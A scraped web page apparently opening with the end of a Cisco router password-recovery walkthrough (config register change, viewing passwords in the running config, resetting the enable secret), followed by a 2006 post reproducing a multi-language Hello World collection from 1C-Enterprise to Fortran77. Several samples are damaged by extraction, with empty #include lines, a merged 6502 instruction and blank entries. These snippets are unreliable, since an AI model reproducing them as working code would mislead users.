This particular config register setting will cause the router to ignore the contents of NVRAM. Your startup configuration is still there, but it will be ignored on reload.

When the router reloads, you’ll be prompted to enter Setup mode. Answer “N”, and type enable at the router> prompt.

Be careful here. Type configure memory or copy start run. Do NOT type write memory or copy run start!

Enter the command show running-config. You’ll see the passwords in either their encrypted or unencrypted format.

Type config t, then use the appropriate command to set a new enable secret or enable password.

Don’t forget to change the configuration register setting back to the original value! The command config-register 0x2102 will do the job. Save this change with write memory or copy run start, and then run reload one more time to restart the router.

No Comments





Hello World
November 05 2006 @ 03:26 AM

"Hello World" is the first program one usually writes when learning a new programming language. Here is a collection of 296 Hello World programs in many more-or-less well known programming languages.

The list was compiled by Wolfram Rösler with help from many people around the world. It was started on 03-Oct-1994, put on the Internet on 30-Dec-1999, and exceeded 200 entries on 14-Jul-2005. It is administered as a bunch of text files which are compiled into this single HTML file by a bash script executed under the Cygwin environment, run on Windows.



1

1C-Enterprise

A
ABAP4
Actionscript-Flash5
ActionScript-Flash8
Actionscript-FlashMX
Ada
Algol-60
Algol-68

Amiga-E
APL
AppleScript
Argh!
ASP-JavaScript
ASP-VBE
ASP-VBS
Assembler-6502-AppleII
Assembler-6502-C64

Assembler-68000-Amiga
Assembler-68000-AtariST
Assembler-68008
Assembler-DG-Nova
Assembler-HLA
Assembler-IBM-370
Assembler-Intel
Assembler-Linux
Assembler-MIPS

Assembler-MMIX
Assembler-PDP11
Assembler-PDP8
Assembler-VP
Assembler-Win32
Assembler-z390
Assembler-Z80-Console
Assembler-ZX81
Asterisk

AutoIT3
AviSynth
awk
Axel

B
B
BAL
BASIC
bc

BCPL
Beta
Boo
BrainFxxx
BS2000

C
C#
C++
C++-Epoc

C++-ISO
C++-MFC
C++-Qt
C-AL
C-Ansi
C-Curses
C-GEM
C-Intuition
C-K+R

C-Objective
C-PresManager
C-Windows
C-X11-Athena
CAML-Light
Clean
Clipper
Cobol
Cocoa

ColdFusion
CommandScript
Console-Postscript
CSS

D
D
Darkbasic
Dataflex
dBase

dc
Delphi
Dialect
DML
DWIM
Dylan
DynaMorph

E
Eiffel

Elan
Elliott
Erlang
Euphoria

F
Ferite
Fjölnir
Focal

FOCUS
Forth
Fortran
Fortran77
Fortran90
FortranIV
Frink

G
G-Code

Gambas
Gentee-simple
Gentee
Gofer
Gri
Groovy
GynkoSoft

H
Haskell

HDX
HP-41C
HP-48
HQ9+
HTML
Human
HyperTalk

I
IBM-Exec

IBM-Exec2
ici
Icon
IDC
IDL
Inform
Informix-4GL
Ingres-ABF
InstallScript

Intercal
Io

J
Jako
Java
Java-Mobile
Java-Server-Pages
Java-Servlet
Java-Swing

JavaScript
JCL
JudoScript

K
Kylix

L
LabVIEW
LaTeX
LibertyBASIC

Limbo
LIMS-Basic
Lingo
Lisp
Lisp-Emacs
Logo
Logo-graphical
LOTOS
Lotus-Note-Formula

Lotus-Script
LS-DYNA
LSL
lua

M
m4
MACRO-10
MACRO-11
Macromedia-Flex

Malbolge
MAMASH
Maple
Mathematica
MATLAB
MEL
Microtik
mIRC-Alias
mIRC-Commandline

mIRC-Script
Modula-2
MoHAA-Script
MPD
MSDOS
MSIL
MuLisp
Mumps

N

Natural
NewtonScript
Nice
NSIS

O
Oberon.oberon
Oberon.std
OCaml
Occam

Octave
Omnimark
Ook
OpenVMS
OPL.dialog
OPL.simple
OZ

P
Pascal

Pascal-Windows
PDF
Perl
PHP
PHP+GD
Piet
Pike
PL-SQL
PL1

Pocket-Calculator
POP-11
PostgreSQL
Postscript
POV-Ray
PowerScript
Profan
Prograph
Progress

Prolog
PureBasic-Console
PureBasic-Messagebox
PureBasic-Window
Python

Q
qore
QuakeC
QuickBASIC


R
R
ratfor
REALbasic
RealText
Rebol-view
Redcode
REFAL-2
Regular-Expression

Revolution
Rexx.simple
Rexx.window
RPG-IV
RSL
Ruby

S
S-Plus
SAL

SApp
Sather
Scala
Scheme
Seed7
Self
SenseTalk
Setl2
Shakespeare

SilverBasic
SIMPLE
Simula
Smalltalk.simple
Smalltalk.window
SMIL
SML
Snobol
Spiral

SPL
SPSS
SQL-Advantage
SQL-Oracle
SQL
sqlplus
ST-Guide
SVG

T

T-SQL
TACL
TAL
Tcl
TECO
TeX
Texinfo
TI-59
TI-8x

TI-BASIC-Extended
TI-BASIC
Tk
troff
TSO-CLIST
Turing-Machine

U
Unix-Shell
unlambda

UnrealScript

V
Vatical
VAX-11-Macro
VAX-Macro
Velocity
Verilog
Visual-FoxPro
VisualBasic

VisualBasic.NET
VMS-DCL
VRML
VVVV

W
Whitespace
WSH

X
X++

XHTML
XML
XQuery
XSL-FO
XSLT
XUL



1C-Enterprise




// Hello World in 1C:Enterprise built-in script language

Message("Hello, World!");

Back to index


ABAP4



REPORT ZHB00001.
*Hello world in ABAP/4 *
WRITE: 'Hello world'.

Back to index


Actionscript-Flash5



// Hello World in Actionscript (up to Flash 5, IDE only)

trace ("Hello World");


Back to index


ActionScript-Flash8



// Hello World in ActionScript 2.0 (Flash 8)
class HelloWorld
{
private var helloWorldField:TextField;

public function HelloWorld( mc:MovieClip )
{
mc.helloWorldField = mc.createTextField("helloWorldField", mc.getNextHighestDepth(), 0, 0, 100, 100);
mc.helloWorldField.autoSize = "left";
mc.helloWorldField.htmlText = 'Hello World!';
}
}

// on a frame
import HelloWorld;
var hw:HelloWorld = new HelloWorld( this );

Back to index


Actionscript-FlashMX




// Hello World in Actionscript (Flash MX onwards)

_root.createTextField("mytext",1,100,100,300,100);
mytext.multiline = true;
mytext.wordWrap = true;
mytext.border = false;

myformat = new TextFormat();
myformat.color = 0xff0000;
myformat.bullet = false;
myformat.underline = true;

mytext.text = "Hello World!";
mytext.setTextFormat(myformat);

Back to index


Ada



-- Hello World in Ada

with Text_IO;
procedure Hello_World is

begin
Text_IO.Put_Line("Hello World!");
end Hello_World;

Back to index


Algol-60




'BEGIN'
'COMMENT' Hello World in Algol 60;
OUTPUT(4,'(''('Hello World!')',/')')
'END'

Back to index


Algol-68



( # Hello World in Algol 68 # print(("Hello World!",newline)))

Back to index


Amiga-E



-> Hello World in Amiga-E

PROC main() IS WriteF('Hello World\n')


Back to index


APL



Hello World for APL. "[]" and "<-" are a single character in APL.
Comment character is Alt-comma.

[]<-'Hello World!'

Back to index


AppleScript




-- "Hello World" in AppleScript:

display dialog "Hello World"

Back to index


Argh!



Hello World in Argh!. No comment character exists.

j World!
lpppppppPPPPPPq
Hello,


Back to index


ASP-JavaScript



Hello World for Microsoft ASP (in JavaScript)


<%@ language="javascript" %>

<%
Response.Write('Hello World!');
%>


Back to index


ASP-VBE









Back to index



ASP-VBS



Hello World for Microsoft ASP (in VBScript)

<%@ language="vbscript" %>

<%
Response.write "Hello World!"
%>


Back to index



Assembler-6502-AppleII



**********************************
* *
* HELLO WORLD FOR 6502 *
* APPLE ][, MERLIN ASSEMBLER *
* *
**********************************

STROUT EQU $DB3A ;OUTPUTS AY-POINTED NULL TERMINATED STRING
LDY #>HELLO
LDA # JMP STROUT

HELLO ASC "HELLO WORLD!",00

Back to index


Assembler-6502-C64



; Hello World for 6502 Assembler (C64)

ldy #0
beq in
loop:
jsr $ffd2
iny
in:
lda hello,y
bne loop
rts
hello: .tx "Hello World!"
.by 13,10,0

Back to index



Assembler-68000-Amiga



; Hello World in 68000 Assembler for dos.library (Amiga)

move.l #DOS
move.l 4.w,a6
jsr -$0198(a6) ;OldOpenLibrary
move.l d0,a6
beq.s .Out
move.l #HelloWorld,d1

A) moveq #13,d2
jsr -$03AE(a6) ;WriteChars

B) jsr -$03B4 ;PutStr

move.l a6,a1
move.l 4.w,a6
jsr -$019E(a6) ;CloseLibrary
.Out rts

DOS dc.b 'dos.library',0
HelloWorld dc.b 'Hello World!',$A,0

Back to index


Assembler-68000-AtariST



; Hello World in 68000 Assembler (Atari ST)

move.l #helloworld,-(A7)
move #9,-(A7)
trap #1
addq.l #6,A7
move #0,-(A7)
trap #1
helloworld:
dc.b "Hello World!",$0d,$0a,0

Back to index



Assembler-68008



; Hello World in 68008 Assembler (Sinclar QL)

move.l #0,a0
lea.l mess,a1
move.w $d0,a2
jsr (a2)
rts
mess dc.w 12
dc.b 'Hello World!',10
end

Back to index


Assembler-DG-Nova



.TITL HELLO
02 ; "HELLO, WORLD" FOR NOVA RUNNING RDOS
03 ; USES PCHAR SYSTEM CALL
04 .NREL
05 .ENT START
06
07 START:
08 00000'022424 DOCHAR: LDA 0,@PMSG ; LOAD AC0 WITH NEXT CHARACTER,
09 00001'101015 MOV# 0,0,SNR ; TEST AC0;
10 00002'000412 JMP DONE ; SKIPPED IF NONZERO
11 00003'006017 .SYSTM
12 00004'010000 .PCHAR ; PRINT FIRST
13 00005'000413 JMP ER ; SKIPPED IF OK
14 00006'101300 MOVS 0,0 ; SWAP BYTES
15 00007'006017 .SYSTM
16 00010'010000 .PCHAR ; PRINT SECOND
17 00011'000407 JMP ER ; SKIPPED IF OK
18 00012'010412 ISZ PMSG ; POINT TO NEXT WORD
19 00013'000765 JMP DOCHAR ; GO AROUND AGAIN
20
21 00014'006017 DONE: .SYSTM ; NORMAL EXIT
22 00015'004400 .RTN
23 00016'000402 JMP ER
24 00017'063077 HALT
25 00020'006017 ER: .SYSTM ; ERROR EXIT
26 00021'006400 .ERTN
27 00022'063077 HALT
28 00023'063077 HALT
29
30 00024'000025'PMSG: .+1 ; ADDRESS OF FIRST WORD OF TEXT
31 ; NOTE BYTES ARE PACKED RIGHT-TO-LEFT BY DEFAULT
32 00025'042510 .TXT /HELLO, WORLD!<15><12>/ ; THAT'S CR LF
33 046114
34 026117
35 053440
36 051117
37 042114
38 006441
39 000012
40 00035'000000 0 ; FLAG WORD TO END STRING
41
42 .END START


Back to index


Assembler-HLA



; Hello World for Intel compatible High Level Assembler

program HELLO;
#include( "stdlib.hhf" );
begin HELLO;
stdout.put("Hello World",nl);
end HELLO;

Back to index


Assembler-IBM-370



ITLE 'Hello World for IBM Assembler/370 (VM/CMS)'
HELLO START
BALR 12,0
USING *,12
*
WRTERM 'Hello World!'
*
SR 15,15
BR 14
*
END HELLO

Back to index



Assembler-Intel



; Hello World for Intel Assembler (MSDOS)

mov ax,cs
mov ds,ax
mov ah,9
mov dx, offset Hello
int 21h
xor ax,ax
int 21h

Hello:
db "Hello World!",13,10,"$"

Back to index


Assembler-Linux



;; Hello World for the nasm Assembler (Linux)

SECTION .data

msg db "Hello, world!",0xa ;
len equ $ - msg

SECTION .text
global main

main:
mov eax,4 ; write system call
mov ebx,1 ; file (stdou)
mov ecx,msg ; string
mov edx,len ; strlen
int 0x80 ; call kernel

mov eax,1 ; exit system call
mov ebx,0
int 0x80 ; call kernel

Back to index



Assembler-MIPS



## Hello Word in Assemlber for the MIPS Architecture

.globl main

main: jal hwbody #call Hello Word Procedure
trap 10 #exit

hwbody: addi $30, $30,-4 #we need to preserve
sw $4, 0($30) #existing values in register 4

addi $4,$0,72 # H
trap 101
addi $4,$0,101 # e
trap 101
addi $4,$0,108 # l
trap 101
trap 101 # l
addi $4,$0,111 # o
trap 101
addi $4,$0,32 #
trap 101
addi $4,$0,87 # W
trap 101
addi $4,$0,111 # o
trap 101
addi $4,$0,114 # r
trap 101
addi $4,$0,108 # l
trap 101
addi $4,$0,100 # d
trap 101
addi $4,$0,33 # !
trap 101
addi $4,$0,10 # \n
trap 101

done: lw $4, 0($30) #restore values
addi $30, $30, 4 #in register 4
jr $31 #return to the main

Back to index


Assembler-MMIX



* Hello World in Assembler
* for the MMIX Computer

LOC #100
Main GETA $255,String
TRAP 0,Fputs,StdOut
TRAP 0,Halt,0
String BYTE "Hello, world!",#a,0


Back to index


Assembler-PDP11



; Hello World in Assembler for the DEC PDP-11 with the
; RSX-11M-PLUS operating system
;
.title Hello
.ident /V0001A/
.mcall qiow$s, exit$s
.psect $code,ro,i
start: qiow$s #5,#5,,,,<#str, #len, #40>
exit$s
.psect $data,ro,d
str: .ascii / Hello World!/
len=.-str
.end start

Back to index


Assembler-PDP8




/ Hello World in Assembler for the DEC PDP-8
*200
hello, cla cll
tls / tls to set printer flag.
tad charac / set up index register
dca ir1 / for getting characters.
tad m6 / set up counter for
dca count / typing characters.
next, tad i ir1 / get a character.
jms type / type it.
isz count / done yet?
jmp next / no: type another.
hlt

type, 0 / type subroutine
tsf
jmp .-1
tls
cla
jmp i type
charac, . / used as initial value of ir1
310 / H
305 / E
314 / L
314 / L
317 / O
254 / ,
240 /
327 / W
317 / O
322 / R
314 / L
304 / D
241 / !
m6, -15
count, 0
ir1 = 10
$

Back to index


Assembler-VP



; Hello World in VP Assembler for intent (Amiga Anywhere)

.include 'tao'

tool 'home/hello',VP,TF_MAIN,8192,0
ent (-:-)
qcall lib/print,(hello_world.p : i~)
ret ()
entend

data

hello_world:
dc.b "Hello World!",ASCII_LF,0

toolend

Back to index


Assembler-Win32




; Hello world in Assembler for the Win32 architecture

TITLE Hello world in win32. Tasm

VERSION T310
Model use32 Flat,StdCall

start_code segment byte public 'code' use32
begin:
Call MessageBox, 0, offset sHallo, offset caption, 0
Call ExitProcess, 0
start_code Ends

start_data segment byte public 'data' use32

sHallo db 'Hello world',0
caption db "Hi",0

start_data Ends
End begin

Back to index


Assembler-z390



; Hello World for z390 IBM compatible mainframe assembler

HELLO CSECT
USING *,15
WTO 'Hello World'
BR 14
END

Back to index


Assembler-Z80-Console



; This is a "Hello World" program for Z80 and TMS9918 / TMS9928 / TMS9929 /
; V9938 or V9958 VDP.
; That means that this should work on SVI, MSX, Colecovision, Memotech,
; and many other Z80 based home computers or game consoles.
;
; Because we don't know what system is used, we don't know where RAM
; is, so we can't use stack in this program.
;
; This version of Hello World was written by Timo "NYYRIKKI" Soilamaa
; 17.10.2001
;
;----------------------------------------------------------------------
; Configure this part:

DATAP: EQU #98 ; VDP Data port #98 works on all MSX models
; (TMS9918/TMS9929/V9938 or V9958)
; #80 works on SVI
; (for other platforms you have to figure this out by your self)

CMDP: EQU #99 ; VDP Command port #99 works on all MSX models
; (TMS9918/TMS9929/V9938 or V9958)
; #81 works on SVI
; (for other platforms you have to figure this out by your self)
;-----------------------------------------------------------------------
; Program starts here:

ORG 0 ; Z80 starts always from here when power is turned on
DI ; We don't know, how interrupts works in this system, so we disable them.

; Let's set VDP write address to #0000
XOR A
OUT (CMDP),A
LD A,#40
OUT (CMDP),A

; Now let's clear first 16Kb of VDP memory
LD B,0
LD HL,#3FFF
LD C,DATAP
CLEAR:
OUT (C),B
DEC HL
LD A,H
OR L
NOP ; Let's wait 8 clock cycles just in case VDP is not quick enough.
NOP
JR NZ,CLEAR

; Now it is time to set up VDP registers:
;----------------------------------------
; Register 0 to #0
;
; Set mode selection bit M3 (maybe also M4 & M5) to zero and
; disable external video & horizontal interrupt
LD C,CMDP
LD E,#80

OUT (C),A
OUT (C),E
;----------------------------------------
; Register 1 to #50
;
; Select 40 column mode, enable screen and disable vertical interrupt

LD A,#50
INC E
OUT (C),A
OUT (C),E
;----------------------------------------
; Register 2 to #0
;
; Set pattern name table to #0000

XOR A
INC E
OUT (C),A
OUT (C),E
;----------------------------------------
; Register 3 is ignored as 40 column mode does not need color table
;
INC E
;----------------------------------------
; Register 4 to #1
; Set pattern generator table to #800

INC A
INC E

OUT (C),A
OUT (C),E
;----------------------------------------
; Registers 5 (Sprite attribute) & 6 (Sprite pattern) are ignored
; as 40 column mode does not have sprites

INC E
INC E
;----------------------------------------
; Register 7 to #F0
; Set colors to white on black

LD A,#F0
INC E
OUT (C),A
OUT (C),E
;----------------------------------------

; Let's set VDP write address to #808 so, that we can write
; character set to memory
; (No need to write SPACE it is clear char already)
LD A,8
OUT (C),A
LD A,#48
OUT (C),A

; Let's copy character set
LD HL,CHARS
LD B, CHARS_END-CHARS
COPYCHARS:
LD A,(HL)
OUT (DATAP),A
INC HL
NOP ; Let's wait 8 clock cycles just in case VDP is not quick enough.
NOP
DJNZ COPYCHARS

; Let's set write address to start of name table
XOR A
OUT (C),A
LD A,#40
OUT (C),A

; Let's put characters to screen
LD HL,ORDER
LD B,ORDER_END-ORDER
COPYORDER:
LD A,(HL)
OUT (DATAP),A
INC HL

JR OVERNMI
NOP
NOP

; Here is address #66, that is entry for NMI
RETN ;Return from NMI

OVERNMI:
DJNZ COPYORDER

; The end
HALT

; Character set:
; --------------
ORDER:
DEFB 1,2,3,3,4,0,5,4,6,3,7
ORDER_END:

CHARS:

; H
DEFB %10001000
DEFB %10001000
DEFB %10001000
DEFB %11111000
DEFB %10001000
DEFB %10001000
DEFB %10001000
DEFB %00000000
; e
DEFB %00000000
DEFB %00000000
DEFB %01110000
DEFB %10001000
DEFB %11111000
DEFB %10000000
DEFB %01110000
DEFB %00000000
; l
DEFB %01100000
DEFB %00100000
DEFB %00100000
DEFB %00100000
DEFB %00100000
DEFB %00100000
DEFB %01110000
DEFB %00000000
; o
DEFB %00000000
DEFB %00000000
DEFB %01110000
DEFB %10001000
DEFB %10001000
DEFB %10001000
DEFB %01110000
DEFB %00000000
; W
DEFB %10001000
DEFB %10001000
DEFB %10001000
DEFB %10101000
DEFB %10101000
DEFB %11011000
DEFB %10001000
DEFB %00000000

; r
DEFB %00000000
DEFB %00000000
DEFB %10110000
DEFB %11001000
DEFB %10000000
DEFB %10000000
DEFB %10000000
DEFB %00000000
; d
DEFB %00001000
DEFB %00001000
DEFB %01101000
DEFB %10011000
DEFB %10001000
DEFB %10011000
DEFB %01101000
DEFB %00000000
chars_end:


Back to index


Assembler-ZX81



; Hello World in Assembler for the ZX81 (Zilog Z80)

CALL SPRINT
DEFM HELLO WORLD.
DEFB FF
RET
SPRINT POP HL
LD A,(HL)
INC HL
PUSH HL
CP FF
RET Z
CALL PRINT
JR SPRINT

Back to index


Asterisk



;; Hello World application for an Asterisk dial plan. Asterisk is a
;; GNU GPL telephony server. More details at http://www.asterisk.org

;; Displays Hello World at the Asterisk console if in verbose mode
exten => _X.,1,NoOp(Hello World)


Back to index


AutoIT3



;Hello, World for AutoIT3 http://www.autoitscript.com

msgbox(0,"Hello World",0)

Back to index


AviSynth



Hello World for AviSynth Video Editor.
Requires AVI and WAV file.

video = AVISource("someoneSayingHelloWorld.avi")
sound_track = WAVSource("someoneSayingHelloWorld.wav")
AudioDub(video, sound_track)
subtitle("Hello World!")


Back to index


awk



# Hello World in awk
BEGIN {
print "Hello World!"
exit
}

Back to index


Axel



Hello World in AXEL (lip-synched speech)

... too large for this page, can be found here:
http://medieskolan.avc.edu.stockholm.se/axel/index.htm

Back to index



B



/* Hello World in B */

main() {
extern a, b, c;
putchar (a); putchar (b); putchar (c); putchar ('!*n');
}

a 'hell' ;
b 'o, w' ;
c 'orld' ;

Back to index


BAL



Hello World in IBM mainframe Basic Assembler Language (BAL)

HELLO CSECT
STM R14,R12,12(R13)
LR R12,R15
USING HELLO,R12
LA R10,SAVEAREA
ST R13,4(R10)
ST R10,8(R13)
LR R13,R10
*
WTO 'HELLO WORLD',ROUTCDE=1
*
L R13,4(R13)
LM R14,R12,12(R13)
SR R15,R15
BCR B'1111',R14
*
SAVEAREA DS 18F
LTORG
R0 EQU 0
R1 EQU 1
R2 EQU 2
R3 EQU 3
R4 EQU 4
R5 EQU 5
R6 EQU 6
R7 EQU 7
R8 EQU 8
R9 EQU 9
R10 EQU 10
R11 EQU 11
R12 EQU 12
R13 EQU 13
R14 EQU 14
R15 EQU 15
END HELLO

Back to index



BASIC



10 REM Hello World in BASIC
20 PRINT "Hello World!"

Back to index


bc



#!/usr/bin/bc -q
# Hello World for the Unix "bc" calculator

print "Hello World!\n"

Back to index


BCPL




// Hello world in BCLP
GET "libhdr"

LET start() = VALOF
$( writes("Hello world*N")
RESULTIS 0
$)

Back to index


Beta



{ *** Hello World in BETA ***}
(#
do
'Hello World!'->putLine
#)

Back to index


Boo




# Hello World in Boo
print "Hello World"

Back to index


BrainFxxx



Hello World in BrainF***. No comment character exists.

++++++++++[>+++++++>++++++++++>+++<<<-]>++.>+.+++++++
..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.


Back to index


BS2000



/BEGIN-PROCEDURE LOGGING=N
/REMARK "HELLO WORLD" IN BS2000 (SDF)
/ASSIGN-SYSDTA TO-FILE=*SYSCMD
/WRITE-TEXT 'HELLO WORLD!'
/SET-JOB-STEP
/ASSIGN-SYSDTA TO-FILE=*PRIMARY
/END-PROCEDURE

Back to index


C#



// Hello World in Microsoft C# ("C-Sharp").

using System;

class HelloWorld
{
public static int Main(String[] args)
{
Console.WriteLine("Hello, World!");
return 0;
}
}


Back to index


C++



// Hello World in C++

#include

main()
{
cout << "Hello World!" << endl;
return 0;
}

Back to index



C++-Epoc



// Hello World in C++, Epoc style (for Symbian OS)

#include
#include
#include

class CHelloWorldAppUi;
class CEikApplication;
class CHelloWorldAppView;

class CHelloWorldApplication : public CEikApplication
{
public:
TUid AppDllUid() const;
protected:
CApaDocument* CreateDocumentL();
};

class CHelloWorldDocument : public CEikDocument
{
public:
static CHelloWorldDocument* NewL(CEikApplication& aApp);
static CHelloWorldDocument* NewLC(CEikApplication& aApp);
~CHelloWorldDocument(){};
public:
CEikAppUi* CreateAppUiL();
private:
void ConstructL() {};
CHelloWorldDocument(CEikApplication& aApp){};
};

class CHelloWorldAppUi : public CEikAppUi
{
public:
void ConstructL();
CHelloWorldAppUi(){};
~CHelloWorldAppUi(){};
};

static const TUid KUidHelloWorldApp = {0x10005B91};

GLDEF_C TInt E32Dll(TDllReason )
{
return KErrNone;
}

EXPORT_C CApaApplication* NewApplication()
{
return (new CHelloWorldApplication);
}

CApaDocument* CHelloWorldApplication::CreateDocumentL()
{
CApaDocument* document = CHelloWorldDocument::NewL(*this);
return document;
}

TUid CHelloWorldApplication::AppDllUid() const
{
return KUidHelloWorldApp;
}

CHelloWorldDocument* CHelloWorldDocument::NewL(CEikApplication& aApp)
{
CHelloWorldDocument* self = NewLC(aApp);
CleanupStack::Pop(self);
return self;
}

CHelloWorldDocument* CHelloWorldDocument::NewLC(CEikApplication& aApp)
{
CHelloWorldDocument* self = new (ELeave) CHelloWorldDocument(aApp);
CleanupStack::PushL(self);
self->ConstructL();
return self;
}

CEikAppUi* CHelloWorldDocument::CreateAppUiL()
{
CEikAppUi* appUi = new (ELeave) CHelloWorldAppUi;
return appUi;
}

void CHelloWorldAppUi::ConstructL()
{
BaseConstructL();

_LIT(message,"Hello!");
CAknInformationNote* informationNote = new (ELeave) CAknInformationNote;
informationNote->ExecuteLD(message);
}


Back to index


C++-ISO



// Hello World in ISO C++

#include

int main()
{
std::cout << "Hello World!" << std::endl;
}


Back to index


C++-MFC



// Hello World in C++ for Microsoft Foundation Classes
// (Microsoft Visual C++).

#include

class CHello : public CFrameWnd
{
public:
CHello()
{
Create(NULL,_T("Hello World!"),WS_OVERLAPPEDWINDOW,rectDefault);
}
};

class CHelloApp : public CWinApp
{
public:
virtual BOOL InitInstance();
};

BOOL CHelloApp::InitInstance()
{
m_pMainWnd = new CHello();
m_pMainWnd->ShowWindow(m_nCmdShow);
m_pMainWnd->UpdateWindow();
return TRUE;
}

CHelloApp theApp;

Back to index



C++-Qt



// Hello World in C++ for the Qt framework

#include
#include

int main(int argc, char *argv[])
{
QApplication a(argc, argv);
QLabel l("Hello World!", 0);
l.setCaption("Test");
l.setAlignment(Qt::AlignCenter);
l.resize(300, 200);
a.setMainWidget(&l);
l.show();
return(a.exec());
}

Back to index


C-AL




OBJECT Codeunit 50000 HelloWorld
{
PROPERTIES
{
OnRun=BEGIN
//Hello World in C/AL (Microsoft Business Solutions-Navision)
MESSAGE(Txt001);
END;
}
CODE
{
VAR
Txt001@1000000000 : TextConst 'ENU=Hello World';
BEGIN
END.
}
}

Back to index


C-Ansi



/* Hello World in C, Ansi-style */

#include
#include

int main(void)
{
puts("Hello World!");
return EXIT_SUCCESS;
}


Back to index


C-Curses



/* Hello World in C for Curses */

#include
main()
{
initscr();
addstr("Hello World!\n");
refresh();
endwin();
return 0;
}

Back to index


C-GEM




/* Hello World for C with GEM */

#include
main()
{
appl_init();
form_alert(1,"[0][Hello World!][Ok]");
appl_exit();
return 0;
}

Back to index


C-Intuition



/* Hello World in C for Intution (Amiga GUI) */

#include

struct IntuitionBase *IntuitionBase = NULL;

struct IntuiText hello_text = {-1,-1,JAM1,0,0,NULL,"Hello World!",NULL };
struct IntuiText ok_text = {-1,-1,JAM1,0,0,NULL,"Ok",NULL };

void main(void)
{
IntuitionBase = (struct IntuitionBase *)
OpenLibrary("intuition.library", 0);
AutoRequest(NULL, &hello_text, NULL, &ok_text, NULL, NULL, 100, 50);
CloseLibrary(IntuitionBase);
}


Back to index


C-K+R



/* Hello World in C, K&R-style */

main()
{
puts("Hello World!");
return 0;
}

Back to index


C-Objective




/* Hello World in Objective-C.
** Since the standard implementation is identical to K&R C,
** a version that says hello to a set of people passed on
** the command line is shown here.
*/

#include
#include
int main(int argc,char **argv)
{
id set = [Set new];
argv++;while (--argc) [set add:[String str:*argv++]];
[set do:{ :each | printf("hello, %s!\n",[each str]); }];
return 0;
}

Back to index


C-PresManager



/* Hello World for C with PresentationManager / OS/2 2.11 */

#define INCL_WIN

#include

int main( void )
{
HMQ hmq;

hmq = WinCreateMsgQueue( 0, 0 );

WinMessageBox( HWND_DESKTOP, HWND_DESKTOP, (PSZ)"Hello World!",
(PSZ)"", 0, MB_OK );

WinDestroyMsgQueue( hmq );

return 0;
}

Back to index


C-Windows



/* Hello world in C for MS-Windows */

#include

int PASCAL WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance, LPSTR CmdLine, int Show)
{
MessageBox(GetActiveWindow(), "Hello World!", "Hello Windows World", MB_OK);
return 0;
}

Back to index



C-X11-Athena



/* Hello World in C with X11 using Athena widgets */

#include
#include
#include

main(int argc,char **argv)
{
XtAppContext app_context;
Widget toplevel,hello;

toplevel = XtVaAppInitialize(&app_context,"XHello",NULL,0,
&argc,argv,NULL,NULL);
hello = XtVaCreateManagedWidget("Hello World!",labelWidgetClass,
toplevel,(void*)0);

XtRealizeWidget(toplevel);

XtAppMainLoop(app_context);
return 0;
}


Back to index


CAML-Light



(* Hello World in CAML Light *)

let hello =
print_string "Hello World!";
;;

Back to index


Clean



// Hello World in Clean

module hello

Start :: String
Start = "Hello World!\n"


Back to index


Clipper



// Hello World in Clipper (Summer 87, 5.0, 5.01, 5.2, 5.3)

? "Hellp World"

Back to index


Cobol



* Hello World in Cobol

*****************************
IDENTIFICATION DIVISION.
PROGRAM-ID. HELLO.
ENVIRONMENT DIVISION.
DATA DIVISION.
PROCEDURE DIVISION.
MAIN SECTION.
DISPLAY "Hello World!"
STOP RUN.
****************************


Back to index


Cocoa



// Hello World in Cocoa Obj-C (OS X)

#import

int main (int argc, const char * argv[]) {
NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];

NSLog(@"Hello, World!");
[pool release];
return 0;
}

Back to index


ColdFusion







#message#

Back to index


CommandScript




#Hello World in Command Script 3.1
#Meta.Name: "Hello World"

#Block(Main).Start
echo "Hello World!"
#Block(Main).End

Back to index


Console-Postscript



%% Hello World in Console PostScript

serverdict begin 0 exitserver
/Courier findfont
48 scalefont setfont
22 22 moveto
(Hello World!) show
showpage

%% End

Back to index


CSS




/* Hello World in CSS */
body:before {
content: "Hello World";
}

Back to index


D



// Hello World in D

void main()
{
printf("Hello World!\n");
}

Back to index


Darkbasic



` Hello World in Darkbasic

print "Hello World!"
wait key


Back to index


Dataflex



// Hello World in Dataflex Procedural

/tela

Hello world

/*

clearscreen

page tela

Back to index


dBase



* Hello World in dBase IV

? "Hello World!"


Back to index


dc



#!/usr/bin/dc
# Hello world! in dc (Unix desk calculator)
[Hello world!]p

Back to index


Delphi



// Hello World in Delphi
Program Hello_World;

{$APPTYPE CONSOLE}

Begin
WriteLn('Hello World');
End.

Back to index



Dialect



# Hello World in Dialect

print "Hello World"

Back to index


DML



! Hello World in DML (Gembase database language)

PROCEDURE_FORM MAIN
PRINT/NOWAIT ("Hello world")
END_FORM

Back to index



DWIM



Hello World in DWIM ("Do what I mean").
Comments are not necessary in this language.

DWIM

Back to index


Dylan



module: hello-world
author: Homer
copyright: (c) 1994 Homer
version: 1.0

// Hello World in DYLAN

define method main (#rest args)
princ("Hello world!");
end;

main();

Back to index


DynaMorph




<>
<#setString foo {Hello World!}#>


DynaMorph



<#getString foo#>



Back to index


Eiffel



indexing "Hello World in Eiffel"

class HELLO

creation
run

feature

run is
local
io : BASIC_IO;
do
!!io;
io.put_string("Hello World!");
io.put_newline;
end; -- run

end; -- class HELLO

Back to index



Elan



(* Hello World in ELAN *)

putline ("Hello World!");

Back to index


Elliott



:: Hello World in Elliott Autocode
SETF PUNCH
SETR 1
1)TELEPRINTER
LINE
TITLE Hello World.;
STOP
START 1

Back to index



Erlang



%% Hello World in Erlang

-module(hello).

-export([hello/0]).

hello() ->
io:format("Hello World!~n", []).

Back to index


Euphoria



-- Hello World in Euphoria

puts(1, "Hello World!\n")

Back to index



Ferite



/**
* start script -- Hello world in Ferite ( www.ferite.org )
*/
uses "console";
Console.println("Hello World");
/* end script */

Back to index


Fjölnir



;; Hello World in Fjölnir (Icelandic programming language)

"hello" < main
{
main ->

stef(;)
stofn
skrifastreng(;"Halló Veröld!"),
stofnlok
}
*
"GRUNNUR"
;

Back to index


Focal



1.01 COMMENT HELLO WORLD IN FOCAL
1.02 TYPE "HELLO WORLD", !
1.03 QUIT

Back to index


FOCUS




-* Hello World in FOCUS

-TYPE Hello world

Back to index


Forth



' Hello World in Forth

: HELLO
." Hello World!" CR
;

Back to index


Fortran



C Hello World in Fortran

PROGRAM HELLO
WRITE (*,100)
STOP
100 FORMAT (' Hello World! ' /)
END


Back to index


Fortran77



C Hello World in Fortran 77

PROGRAM HELLO
PRINT*, 'Hello World!'
END

Back to index


Fortran90



